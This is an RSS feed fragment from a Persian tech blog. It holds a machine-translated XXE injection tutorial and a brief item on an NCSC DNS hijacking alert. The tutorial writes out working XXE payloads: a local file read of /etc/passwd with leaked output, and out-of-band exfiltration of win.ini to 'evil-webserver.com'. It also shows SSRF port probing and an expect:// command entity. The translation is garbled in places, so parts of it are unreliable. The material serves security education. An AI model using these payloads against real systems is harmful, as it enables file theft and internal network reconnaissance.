                <description>تزریق XXE در چندین سال اخیر در فهرست OWASP جزو 10 مورد برتر  قرار داشته  است. تزریق XXE به برنامه های وب محدود نمی شود؛ در هر نقطه یک Parser XML وجود دارد (وب، میزبان، نرم افزار)، پتانسیل XXE وجود دارد. جستجوی Exploits XXE درگوگل چندین نوشته از حملات XXE موفق را در برابر اهداف خوب دفاع می کند.با وجود این، به نظر میرسد XXE در کلاسهای امنیتی وب به ندرت آموزش داده می شود و به نفع حملات ساده تر مانند CSRF و XSS است. از آموزش های INFOSEC که من انجام داده ام، تنها یک دوره حتی به  XXE اشاره نکرده است . برخی از راه های استفاده از آسیب پذیری XXE، و دو حمله واقعی XXE ارسال شده توسط SRT (با داده های رد شده برای محافظت از هویت مشتری و SRT) را پوشش می دهد.1. روش XML و ENTITYهابهترین قسمت در مورد XXE این است که این قابلیت کاملا صحیح زبان XML است. جادو سیاه و سفید با این حمله، به سادگی یک ویژگی سوء استفاده است که به طور پیش فرض به طور پیش فرض فعال است. این ویژگی موجودیت خارجی است.برای درک ENTITY ها، ابتدا باید به فایلهای نوع Document Definition (DTD) نگاه کنیم. فایلهای DTD یک نوع خاص از فایل XML هستند که حاوی اطلاعاتی درباره فرمت یا ساختار XML هستند. آنها برای ایجاد یکپارچگی در فایل های مختلف، جداگانه، XML استفاده می شود. این فایلهای DTD میتوانند حاوی یک عنصر به نام ENTITY باشند. برای مثال یک فایل dtd زیر را ببینید:&lt;!DOCTYPE STRUCTURE [&lt;!ELEMENT SPECIFICATIONS (#PCDATA)&gt;&lt;!ENTITY VERSION “1.1”&gt;&lt;!ENTITY file SYSTEM “file:///c:/server_files/application.conf” &gt;]&gt;ما نمی خواهیم در مورد نحو فایل های .dtd تقسیم کنیم، فقط درک کنیم که هر ارجاع XML به این فایل .dtd باید از ساختار آن (منبع) پیروی کند.تگ های ENTITY در داخل به سادگی یک میانبر برای یک کاراکتر خاص است که می تواند توسط فایل XML فراخوانی شود (منبع). توجه داشته باشید که آخرین تگ ENTITY در واقع محتویات یک فایل محلی را از طریق کلمه کلیدی SYSTEM باز می کند.فایل dtd بالا ممکن است به صورت زیر استفاده شود:&lt;?xml version=”1.0″ encoding=”UTF-8″?&gt;&lt;!DOCTYPE foo SYSTEM “http://validserver.com/formatting.dtd”&gt;&lt;specifications&gt;&amp;file;&lt;/specifications&gt;فایلformatting.dtd با استفاده از برچسب های DOCTYPE نامگذاری می شود و فایل XML می تواند ENTITY ها و ساختار درون آن را ارزیابی کند.ENTITY ها می توانند بدون فرمت یک فایل کامل .dtd استفاده شوند. با فراخوانی DOCTYPE و استفاده از براکت مربع []، شما می توانید برچسب های ENTITY را برای استفاده در تنها آن فایل XML مرجع کنید. در پایین، فایل application.conf برای استفاده در برچسب &lt;configuration&gt; &lt;/ configuration&gt;، بدون فایل کامل dtd برای میزبانی آن ارجاع می شود:&lt;?xml version=”1.0″ encoding=”ISO-8859-1″?&gt;&lt;!DOCTYPE example [&lt;!ELEMENT example ANY &gt;&lt;!ENTITY file SYSTEM “file:///c:/server_files/application.conf” &gt;]&gt;&lt;configuration&gt;&amp;file;&lt;/configuration&gt;بنابراین در خلاصه ای گسترده:فایل های DTD می توانند به یک فایل XML خارجی یا داخلی باشندENTITY ها در فایل های DTD وجود داردENTITY ها می توانند فایل سیستم محلی را فراخوانی کنند2. Injection Funهنگامی که داده ها در یک درخواست HTTP به سرور منتقل می شود، احتمال سوء استفاده از کاربر را باز می کند. XML متفاوت نیست توسعه دهندگان وب یا اعتماد خود را به مشتری می کنند تا کد را اصلاح نکنند و یا (راه حل بهتر) کنترل های لازم را برای جلوگیری از تغییرات مخرب از کار انجام می دهند. صرف نظر از قصد توسعه دهنده وب، اشتباه رخ می دهد و تزریق اغلب با موفقیت بر روی سرور انجام می شود. در اینجا یک نمونه است، جایی که داده های یک فرم در XML پیچیده شده و برای پردازش فرستاده می شوند. درخواست POST آسیبپذیر را با پروکسی وب (Burpsuite، Zap و غیره)برچسب ENTITY تزریق شده و &amp; xxe؛ مرجع متغیراطمینان حاصل کنید که &amp; xxe؛ مرجع با داده هایی است که بازگشت و نمایش داده می شوددرخواست POST متوقف شده را آزاد کنیداین به درخواست POST ساخته شده زیر (محتوای تزریقی قرمز) منجر می شود:POST /notes/savenote HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xml;charset=UTF-8Host: myserver.com&lt;?xml version=”1.0″ ?&gt;&lt;!DOCTYPE foo [&lt;!ENTITY xxe SYSTEM “file:///etc/passwd” &gt;]&gt;&lt;note&gt;&lt;to&gt;Alice&lt;/to&gt;&lt;from&gt;Bob&lt;/from&gt;&lt;header&gt;Sync Meeting&lt;/header&gt;&lt;time&gt;1200&lt;/time&gt;&lt;body&gt;Meeting time changed &amp;xxe;&lt;/body&gt;&lt;/note&gt;سرور، فرض بر این است که داده ها به شکل معتبر وارد شده اند، قبل از ذخیره آن در backend، این داده های XML را تجزیه می کند و داده های تجزیه شده را همراه با داده های معتبر باز می گرداند. در این مورد محتویات / etc / passwd نمایش داده می شود.HTTP/1.1 200 OKContent-Type: text/xml;charset=UTF-8Server: Microsoft-IIS/7.5Date: Sat, 19 Apr 2019 13:08:49 GMTConnection: closeContent-Length: 1039Note saved! From Bob to Alice about “Sync Meeting” at 1200: Meeting time has changedroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System &#40;admin&#41;:/var/lib/gnats:/usr/sbin/nologin..snip…3. Sneaking Out of Band اغلب زمان هایی که XML به سرور منتقل می شود نمایش داده نمی شود و در چنین راهی مطلوب نیست. در مواردی که XML تزریقی است، اما در پاسخ HTTP به مشتری پاسخ نمی دهد، ما به فایل های خارجی .dtd اشاره کردیم که قبلا ذکر شد. منابع DOCTYPE به فایل های خارجی .dtd اجازه می دهد تا ما این حمله را به طور کامل خارج از باند انجام دهیم.ما مثال قبلی را بازنویسی خواهیم کرد. ما همچنین وانمود می کنیم که یک سرور ویندوز برای انواع است. در مثال قبلی، اشاره گر ENTITY به فایل در متغیر xxe ذخیره شد که در فرم ارجاع می شود. در این مثال، ENTITY مرجع برای سرور خارجی ما است. https://evil-webserver.comPOST /notes/savenote HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xml;charset=UTF-8.Host: myserver.com&lt;?xml version=”1.0″ ?&gt;&lt;!DOCTYPE hack [&lt;!ELEMENT x ANY &gt;&lt;!ENTITY % alpha SYSTEM “https://evil-webserver.com/payload.dtd”&gt;%alpha;%bravo;]&gt;&lt;x&gt;&amp;charlie;&lt;/x&gt;&lt;note&gt;&lt;to&gt;Alice&lt;/to&gt;&lt;from&gt;Bob&lt;/from&gt;&lt;header&gt;Sync Meeting&lt;/header&gt;&lt;time&gt;1200&lt;/time&gt;&lt;body&gt;Meeting time changed&lt;/body&gt;&lt;/note&gt;فایل  payload.dtd خارجی شامل موارد زیر است:&lt;?xml version=”1.0″ encoding=”utf-8″ ?&gt;&lt;!ENTITY % data SYSTEM “file:///c:/windows/win.ini”&gt;&lt;!ENTITY % bravo “&lt;!ENTITY % charlie SYSTEM‘https://evil-webserver.com/?%data;’&gt;”&gt;توجه داشته باشید که فایل: /// c: /windows/win.ini در فایل .dtd قرار دارد، نه در داخل کد XXE تزریق شده. این یک حرکت پنهانی است که به ما اجازه می دهد تا کدام فایل که در حال تلاش برای استخراج لاگ های  مربوط به دسترسی به سرور است را پنهان کنیم .بنابراین، به طور کلی، این کد در مراحل زیر اجرا می شود:مشتری درخواست POST را با کد XML تزریقی ارسال می کندسرور، از طریق تجزیه کننده XML، XML را از بالا به پایین تجزیه می کند و به ENTITY تزریق می شودسرور از payload.dtd از https://evil-webserver.com درخواست می کندhttps://evil-webserver.com با payload.dtd پاسخ می دهدکد داخل payload.dtd توسط تجزیه کننده XML پردازش می شود که محتویات win.ini را خوانده و آن را به عنوان یک پارامتر در یک درخواست HTTP GET به https://evil-webserver.com ارسال می کند.4. Pass the SOAPمثلا یک فرمان که یکبار دریافت کردیم (اطلاعات حساس برای مشتری و محرمانه محقق). یکی از اعضای SRT یک سرویس وب را ارائه داد که روش های متفاوتی SOAP API را ارائه می داد. SOAP (Simple Object Access Protocol) یک ساختار ارتباطی است که اجازه می دهد تا برنامه های متعدد / عناصر مختلف برای برقراری ارتباط با یکدیگر هستند . مهمتر از همه برای ما، آن نیز ساختاری مثل XML دارد و آن را احتمالا آسیب پذیر به XXE می نامند در این مثال، روش های مختلف API دارای بخش &lt;XMLData&gt; بود که می توانست شامل برچسب های ENTITY تزریق شود. بنابراین، صدور درخواست زیر POST به نقطه انتهایی ConductOrders.asmx یک درخواست برای سرور وب مهاجم ایجاد می کند:در نتیجه، سرور محتویات DTD خارجی http: //evil-webserver/data.xml را بارگیری می کنداین کد XML به Parser XML دستور می دهد که محتویات فایل c: \ windows \ win.ini محلی را در درخواست به سرور مهاجم ارسال کند، همه این کارها با افزودن متغیر چارلی به پایان درخواست، ساختن آن در لاگ های  سرور حمله کننده قابل مشاهده است و درست مانند آن، هر فایل محلی قابل خواندن توسط سرور وب او بود که سرقت کرد.توجه: مجوزها در این حمله اهمیت دارند. اگر وب سرور (یا کاربر www-data) مجوزها را نداشته باشد، این فایل را نخواهد داد. به همین دلیل ما به جای / etc / shadow در این اثبات مفهوم (PoC) از / etc / passwd استفاده می کنیم.5. Recon with XXEمانند بسیاری از اکسپلویت  ها، زمانی که شما شروع به اتصال آن با آسیب پذیری های دیگر می کنید، XXE جالب تر می شود. XXE برای به دست آوردن افشای فایل محلی (LFD) به عنوان PoC مفید است، اما یک مهاجم واقعی ممکن است بخواهد با XXE کار بیشتری انجام دهد، نه تنها فایلهای محلی را بخواند (به ویژه اینکه این حمله توسط مجوزهای وب سرور محدود شده است). از آنجا که XXE دستور دادن سرور به انجام چیزی از طرف آن است، مهاجم می تواند از آن برای نشان دادن میزبان های داخلی و / یا پورت های داخلی با استفاده از تجزیه کننده XML برای انجام درخواست جعل سرور (SSRF) استفاده کند.توجه داشته باشید که خط دوم XML، در قرمز مشخص شده است، &lt;! DOCTYPE dtd SYSTEM &quot;https://127.0.0.1:445&quot;&gt;به جای اینکه یک DTD خارجی یا فایل محلی مانند نمونه های قبلی را فراخوانی کنید، این محقق دستور می دهد که سرور آن را به localhost (127.0.0.1) در یک پورت مشخص شده متصل کند. اگر پورت باز باشد، سرور به سرعت پاسخ می دهد. اگر پورت بسته باشد، سرور با پیام های ICMP Port Unreachable پاسخ خواهد داد، که زمانیکه سوکت تلاش می کند تا مجددا به توافق رسیدگی کند. در این مثال، زمان پاسخ مختلف بین پورت های معتبر و پورت های نامعتبر به اندازه کافی برای پرده برداری از پورت های میزبان داخلی بود. مقیاس دادن این حمله مشابه به نفع نفوذگر موجب شده است که موارد زیر را داشته باشد:شما می توانید ببینید که شماره های پورت 21، 22، 23، و 443 زمان پاسخ به طور قابل توجهی طولانی تر را نشان می دهد، و پیشنهاد یک پورت داخلی نامعتبر است. از این حمله، SRT نتیجه گرفت که پورت 80، 445 و 8443 در دسترس هستند. از اینها، پورت  445 از اهمیت ویژه ای برخوردار بود، زیرا به طور آشکارا به اینترنت دسترسی نداشت و سطح حمله منحصر به فردی را ارائه می داد. اگر بیشتر مورد استفاده قرار گیرد،ر SSRF میتواند برای میزبانهای داخلی تست کند، و روش ارائه نقشه های نقطه انتهایی خصوصی اینترانت را فراهم می کند که توسط وب سرور قابل دسترسی است.6. Final Thoughtsتزریق XXE می تواند به همان اندازه ساده یا پیچیده باشد که برنامه اجازه می دهد. گوگل به سرعت می تواند نمونه هایی از بردارهای پیشرفته XXE پیشرفته را نشان دهد. حمله میلیاردها XXE به انکار سرویس (DoS) تبدیل می شود . بدتر از همه، داشتن ماژول PHP Expect می تواند اشیاء کد را از حمله XXEداشته باشد.(&lt;!ENTITY rce SYSTEM “expect://ifconfig” &gt;).دفاع در برابر XXE وجود دارد ، اما در نهایت این یک آسیب پذیری در برابر XML Parser با دقت پیکربندی شده است. XXE یک اشتباه در XML نیست که می توان آن را پچ کرد، بلکه یک سوءاستفاده در برابر برنامه ای است که در آن غیرفعال شده است. در نهایت، این حمله عمدتا وابسته به خطای انسانی است و بدین معناست که اینجاست که بمانیم.برای مشاهده سایر مطالب با کانال تلگرامی ما مراجعه کنید@BambooTech</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sat, 27 Jul 2019 20:38:16 +0430</pubDate>
            </item>
                    <item>
                <title>?حملات DNS Hijacking در حال اجرا است- هشدار NCSC برای سازمانها</title>
                <link>https://virgool.io/@bambootech/%D8%AD%D9%85%D9%84%D8%A7%D8%AA-dns-hijacking-%D8%AF%D8%B1-%D8%AD%D8%A7%D9%84-%D8%A7%D8%AC%D8%B1%D8%A7-%D8%A7%D8%B3%D8%AA-%D9%87%D8%B4%D8%AF%D8%A7%D8%B1-ncsc-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86%D9%87%D8%A7-b1dlng7thruo</link>
                <description> ? مرکز ملی امنیت سایبری هشدار را برای حمله DNS مداوم اعلام کرد، یک کمپین بزرگ جهانی که هدف آن کشورهای مختلف در سراسر جهان است. ? شرکت NCSC اخیرا حملات هدفمند متعددی را مشاهده کرده است که ازDNS استفاده می کنند تا وب سایت ها را خراب یا از بین ببرد و اطلاعات حساس را سرقت کنند.حمله DNS hijacking تغییر غیر مجاز از ورود DNS در یک فایل منطقه در سرور DNS معتبر و یا تغییر تنظیمات دامنه در رابطه با ثبت کننده دامنه انجام می دهد. ?تغییر غیر مجاز، مهاجم را به ترافیک مخرب هدایت می کند وسیستم نام دامنه قربانی را برای به دست آوردن داده ها به خطر می اندازد. ?با توجه به تغییر رکورد های DNS، سازمان کنترل کاملی از حوزه را از دست خواهد داد و مهاجمان  اطلاعات مربوط به مالکیت دامنه را تغییر خواهند داد که برای بازیابی بسیار سخت است.?ریسک خطرناک بودن DNS Hijacking: ?خطرات خطرناک دیگری نیز در ارتباط با ربودن DNS و مبارزه با هک کردن DNS وجود دارد که دامنه های مختلفی را در اختیار سازمان های دولتی، مخابرات، و زیرساخت های زیرساخت اینترنت قرار می دهد.تولید سوابق DNS های مخرب ?هنگامی که مهاجم به DNS حمله می کند، آنها یک وب سایت فیشینگ ایجاد می کنند که با دامنه ای که این سازمان آشنا است مرتبط است. مهاجمان  بعد از استفاده از آن برای فریب کارکنان و جمع آوری اطلاعات حساس استفاده می کنند.سرقت گواهینامه SSL ?با سوء استفاده از گواهی SSL معتبر دامنه که برای ایجاد سوابق DNS استفاده می شود، در حمله از این گواهی استفاده می کند تا یک وب سایت فیشینگ ایجاد کند که به نظر می رسد مانند سایت قانونی است  و به راحتی قربانیان را برای دادن اطلاعات شخصی خود ترقیب کند</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sun, 14 Jul 2019 15:16:06 +0430</pubDate>
            </item>
            </channel>
</rss>